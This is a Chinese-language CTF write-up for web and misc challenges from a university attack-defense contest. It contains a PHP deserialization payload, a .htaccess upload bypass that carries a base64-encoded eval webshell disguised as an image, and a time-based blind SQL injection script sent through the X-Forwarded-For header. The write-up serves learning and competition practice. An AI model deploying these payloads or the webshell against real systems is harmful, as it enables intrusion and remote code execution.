当前位置: 首页 > news >正文

[wp]“古剑山”第一届全国大学生网络攻防大赛 Web部分wp

“古剑山”第一届全国大学生网络攻防大赛

群友说是原题杯 哈哈哈哈 我也不懂 我比赛打的少 

Web

Web | unse

源码:

<?phpinclude("./test.php");if(isset($_GET['fun'])){if(justafun($_GET['fun'])){include($_GET['fun']);}}else{unserialize($_GET['yourcode']);}highlight_file(__FILE__);
?>

先伪协议读取test.php 然后得到反序列化源码:

<?php
$test = "Hello world";include "flag.php";function justafun($filename){$result = preg_match("/flag|zlib|string/i", $filename);if($result){return FALSE;}return TRUE;
}class afun {private $a;function __wakeup(){$temp = $this->a . 'ctf';}
}class bfun {private $items = array();public function __toString() {$item = $this->items;$str = $item['dd']->knife;return 'what the good?';}
}class cfun {private $params = array();public function __get($key) {global $flag;$tmp = $this->params[$key];var_dump($$tmp);}
}

a中的$this->a触发bgood中的__toString方法,将$this->a赋值为new bfun()。
bdun中的$items[‘dd’]触发cfun中的__get函数,给$items[‘dd’]赋值为new cfun()。
最后让cdun中的$params[‘knife’]=”flag” 

<?php
$test = "Hello world";include "flag.php";function justafun($filename){$result = preg_match("/flag|zlib|string/i", $filename);if($result){return FALSE;}return TRUE;
}class afun {private $a;function __wakeup(){$temp = $this->a . 'ctf';}
}class bfun {private $items = array();public function __toString() {$item = $this->items;$str = $item['dd']->knife;return 'what the good?';}
}class cfun {private $params = array();public function __get($key) {global $flag;$tmp = $this->params[$key];var_dump($$tmp);}
}

这里注意私有变量需要内部构造函数来进行触发其他魔术方法

这里这种框框换成%00 或者url编码也行 

得到payload:

?yourcode=O:4:%22afun%22:1:{s:7:%22%00afun%00a%22;O:4:%22bfun%22:1:{s:11:%22%00bfun%00items%22;a:1:{s:2:%22dd%22;O:4:%22cfun%22:1:{s:12:%22%00cfun%00params%22;a:1:{s:5:%22knife%22;s:4:%22flag%22;}}}}}

得到flag

有点类似这道题

https://www.cnblogs.com/zzjdbk/p/13617530.html

Web | upload_2_shell 

参考:SUCTF的一些题解 - SecPulse.COM | 安全脉搏

BUU WEB [SUCTF 2019]EasyWeb_buu easy_web-CSDN博客 

 但这道题使用的是.htaccess解析

.htaccess:

#define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./wenda.jpg"
AddType application/x-httpd-php .jpg

 wenda.jpg:

GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

然后上传然后rce:

Web | 盲人摸象

没做出来 感觉是XFF盲注 INSERT INTO 注入  然后原题..

查看:https://delcoding.github.io/2018/03/bugku-writeup3/

Bugku-INSERT INTO 注入 - 简书 (jianshu.com)

给个脚本:

import requests
import sys# 基于时间的盲注,过滤了逗号 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://47.106.186.166:31590/'
flag = ''
for i in range(1, 40):print('正在猜测:', str(i))for ch in range(32, 129):if ch == 128:sys.exit(0)sqli = sql.format(i, chr(ch))# print(sqli)header = {'X-Forwarded-For': sqli}try:html = requests.get(url, headers=header, timeout=3)except:flag += chr(ch)print(flag)break

Web | easy_pickle

Web | 御姐还是萝莉

好看 爱看 但不会

Misc

Misc | i have the flag

原题   ascii-3解码

def shuchu():a = [115, 105, 109, 112, 108, 101, 101, 100, 117, 49, 50, 51]i = 0while (i < len(a)):print(chr(a[i]), end='')i = i + 1shuchu()

得到 simpleedu123 

输入网站得到flag

相关文章:

  • 基于Java酒店管理系统
  • 低代码开发:激发创新还是程序员的末日?
  • 问题:数组对象去重
  • 【Java数据结构 -- List和ArrayList与顺序表】
  • android项目实战之使用框架 集成多图片、视频的上传
  • 2024年软考科目怎么选?(选科指引)
  • vscode如何在没有网络的情况下安装插件
  • 微信小程序 - 创建 ZIP 压缩包
  • json转yolo格式
  • RabbitMQ 消息中间件 消息队列
  • flask之文件上传
  • 双目光波导AR眼镜_AR智能眼镜主板PCB定制开发
  • P5743 【深基7.习8】猴子吃桃
  • 什么是https加密协议?
  • 基于个微机器人的开发
  • 11111111
  • Apache的80端口被占用以及访问时报错403
  • CAP理论的例子讲解
  • const let
  • co模块的前端实现
  • JavaScript 基础知识 - 入门篇(一)
  • MySQL几个简单SQL的优化
  • Quartz初级教程
  • tweak 支持第三方库
  • Vim 折腾记
  • 关键词挖掘技术哪家强(一)基于node.js技术开发一个关键字查询工具
  • 聊聊redis的数据结构的应用
  • 那些年我们用过的显示性能指标
  • 排序算法学习笔记
  • 前端
  • 前端工程化(Gulp、Webpack)-webpack
  • 视频flv转mp4最快的几种方法(就是不用格式工厂)
  • 优秀架构师必须掌握的架构思维
  • 自定义函数
  • Java数据解析之JSON
  • ​软考-高级-系统架构设计师教程(清华第2版)【第1章-绪论-思维导图】​
  • #pragma once与条件编译
  • #使用清华镜像源 安装/更新 指定版本tensorflow
  • %check_box% in rails :coditions={:has_many , :through}
  • (09)Hive——CTE 公共表达式
  • (16)UiBot:智能化软件机器人(以头歌抓取课程数据为例)
  • (2)STM32单片机上位机
  • (2022版)一套教程搞定k8s安装到实战 | RBAC
  • (6)【Python/机器学习/深度学习】Machine-Learning模型与算法应用—使用Adaboost建模及工作环境下的数据分析整理
  • (arch)linux 转换文件编码格式
  • (Redis使用系列) Springboot 整合Redisson 实现分布式锁 七
  • (八十八)VFL语言初步 - 实现布局
  • (十三)Flask之特殊装饰器详解
  • (一)SpringBoot3---尚硅谷总结
  • (转)JVM内存分配 -Xms128m -Xmx512m -XX:PermSize=128m -XX:MaxPermSize=512m
  • .net core 6 使用注解自动注入实例,无需构造注入 autowrite4net
  • .NET Entity FrameWork 总结 ,在项目中用处个人感觉不大。适合初级用用,不涉及到与数据库通信。
  • .Net 高效开发之不可错过的实用工具
  • .netcore 如何获取系统中所有session_ASP.NET Core如何解决分布式Session一致性问题
  • // an array of int